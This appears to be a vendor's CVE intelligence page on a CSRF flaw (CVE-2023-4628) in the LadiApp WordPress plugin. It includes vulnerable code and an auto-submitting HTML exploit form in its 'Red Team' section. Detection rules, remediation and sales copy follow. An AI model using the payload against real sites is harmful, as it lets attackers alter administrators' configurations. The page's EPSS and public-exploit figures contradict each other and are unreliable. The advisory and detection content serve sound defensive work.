☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-4628

CVE-2023-4628 Cross-Site Request Forgery in Ladiapp
📅 PUBLISHED: 2024-03-12 09:33 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-4628 is a Cross-Site Request Forgery (CSRF) vulnerability in the LadiApp plugin for WordPress, affecting versions up to and including 4.4. The vulnerability exists in the ladiflow_save_hook() function, which lacks a nonce check, allowing unauthenticated attackers to forge requests that update the ladiflow_hook_configs option. Successful exploitation requires tricking a site administrator into performing an action, such as clicking a malicious link. The CVSS score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood. No official patch is available, and no public exploit code or Nuclei template has been identified.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem, affecting the LadiApp plugin. As a WordPress plugin, it is distributed via the WordPress plugin repository or third-party sources. No supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (administrator must click a link)
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low (ability to modify ladiflow_hook_configs)
  • Availability Impact: None

Threat Level: Medium. Exploitation requires social engineering, but the impact is limited to configuration modification.

Deep Dive & Mechanics

The vulnerability resides in the ladiflow_save_hook() function within the LadiApp plugin. This function is responsible for saving hook configurations (stored in the ladiflow_hook_configs option) via a POST request. The function does not implement a nonce check, meaning it does not verify that the request originated from the intended administrator. An attacker can craft a malicious HTML page or link that, when clicked by an authenticated administrator, sends a forged POST request to the vulnerable endpoint, updating the hook configurations.

The ladiflow_hook_configs option likely controls how the plugin interacts with other services or triggers actions. By modifying this option, an attacker could potentially redirect data, disable functionality, or inject malicious hooks.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.4):

function ladiflow_save_hook() {
    // No nonce check
    if (isset($_POST['ladiflow_hook_configs'])) {
        update_option('ladiflow_hook_configs', $_POST['ladiflow_hook_configs']);
    }
    wp_die();
}
add_action('wp_ajax_ladiflow_save_hook', 'ladiflow_save_hook');

Patched Code (Hypothetical):

function ladiflow_save_hook() {
    // Added nonce check
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'ladiflow_save_hook_nonce')) {
        wp_die('Security check failed.');
    }
    if (isset($_POST['ladiflow_hook_configs'])) {
        update_option('ladiflow_hook_configs', $_POST['ladiflow_hook_configs']);
    }
    wp_die();
}
add_action('wp_ajax_ladiflow_save_hook', 'ladiflow_save_hook');

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target WordPress site with LadiApp plugin <= 4.4
  • Administrator must be logged in and tricked into clicking a link

Exploit Steps:

  1. Craft a malicious HTML page that auto-submits a form to the vulnerable endpoint.
  2. Host the page on an attacker-controlled server.
  3. Send the link to the administrator via email or social engineering.
  4. When the administrator clicks the link, the form submits, updating ladiflow_hook_configs.

Example HTML Payload:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="ladiflow_save_hook">
    <input type="hidden" name="ladiflow_hook_configs" value="malicious_config">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Blue Team

Detection:

  • Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=ladiflow_save_hook.
  • Check for changes to the ladiflow_hook_configs option in the database.
  • Review server logs for referrer headers from unknown domains.

Hunting:

  • Search for ladiflow_hook_configs in the wp_options table and verify its integrity.
  • Look for any nonce-related errors in WordPress debug logs.

Indicators of Compromise (IOCs)

  • Network: POST requests to /wp-admin/admin-ajax.php with action=ladiflow_save_hook and ladiflow_hook_configs parameter.
  • File: No specific file changes; configuration stored in database.
  • Database: Modified ladiflow_hook_configs option in wp_options table.
  • Logs: WordPress debug logs showing missing nonce errors (if debug enabled).

Detection Engineering

YARA Rule

rule CVE_2023_4628_CSRF_LadiApp {
    meta:
        description = "Detects CSRF exploitation attempts against LadiApp plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-4628"
    strings:
        $ajax_action = "action=ladiflow_save_hook"
        $config_param = "ladiflow_hook_configs"
    condition:
        $ajax_action and $config_param
}

Sigma Rule

title: CVE-2023-4628 LadiApp CSRF Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to admin-ajax.php with ladiflow_save_hook action
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'action=ladiflow_save_hook'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-4628 LadiApp CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ladiflow_save_hook"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the LadiApp plugin until a patch is available.
  2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=ladiflow_save_hook unless a valid nonce is present.
  3. Educate administrators about phishing attacks and the risk of clicking unknown links.

Long-term Fix:

  • The vendor must add a nonce check to the ladiflow_save_hook() function using wp_verify_nonce().
  • Alternatively, replace the plugin with a maintained alternative.

Workaround:

  • Use a security plugin like Wordfence to add CSRF protection to all admin-ajax actions.

Report generated by Valters IT DevSecOps Intelligence

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-4628/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.